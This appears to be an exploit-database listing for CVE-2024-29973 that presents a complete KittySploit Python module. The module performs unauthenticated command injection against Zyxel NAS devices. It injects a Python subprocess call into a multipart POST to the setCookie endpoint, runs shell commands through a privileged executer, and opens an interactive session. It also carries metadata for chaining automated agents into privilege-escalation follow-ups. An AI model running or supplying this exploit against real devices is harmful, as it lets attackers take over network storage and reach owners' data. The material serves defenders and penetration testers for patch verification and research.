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Zyxel NAS - setCookie Command Injection (CVE-2024-29973)

🗓️ 10 Aug 2026 06:19:08Reported by KittySploitType 
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Unauthenticated command injection in Zyxel NAS via multipart POST to /setCookie.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Zyxel NAS setCookie command injection (CVE-2024-29973) — opens execute session."""

import re
import secrets

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Zyxel NAS - setCookie Command Injection (CVE-2024-29973)',
        'description': (
            'Exploits unauthenticated command injection in Zyxel NAS via multipart POST to '
            '/cmd,/simZysh/register_main/setCookie. Command output is returned; opens an '
            'interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2024-29973'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/',
            'https://nvd.nist.gov/vuln/detail/CVE-2024-29973',
        ],
        'tags': ['zyxel', 'nas', 'rce', 'cmdi', 'unauth', 'cve-2024-29973'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'post/shell/multi/gather/privesc_suggester',
                    'scanner/http/cve_2024_29973_detect',
                ],
            },
        },
    }

    def execute(self, cmd: str) -> str:
        # Keep command path-safe for the nested shell string.
        safe = str(cmd).replace('"', '\\"').replace("'", "'\"'\"'")
        bound = secrets.token_hex(8)
        data = (
            f'--{bound}\r\n'
            f'Content-Disposition: form-data; name="c0"\r\n\r\n'
            'storage_ext_cgi CGIGetExtStoInfo None) and False or '
            '__import__("subprocess").check_output('
            f'"/usr/local/apache/web_framework/bin/executer_su /bin/sh -c \'{safe}\'", shell=True)#\r\n'
            f'--{bound}--\r\n'
        )
        r = self.http_request(
            method='POST',
            path='/cmd,/simZysh/register_main/setCookie',
            data=data,
            headers={'Content-Type': f'multipart/form-data; boundary={bound}'},
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2024-29973 confirmed: id output returned',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'No command output observed',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()

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10 Aug 2026 06:19Current
8.8High risk
Vulners AI Score8.8
CVSS 3.19.8
EPSS0.86089
SSVC
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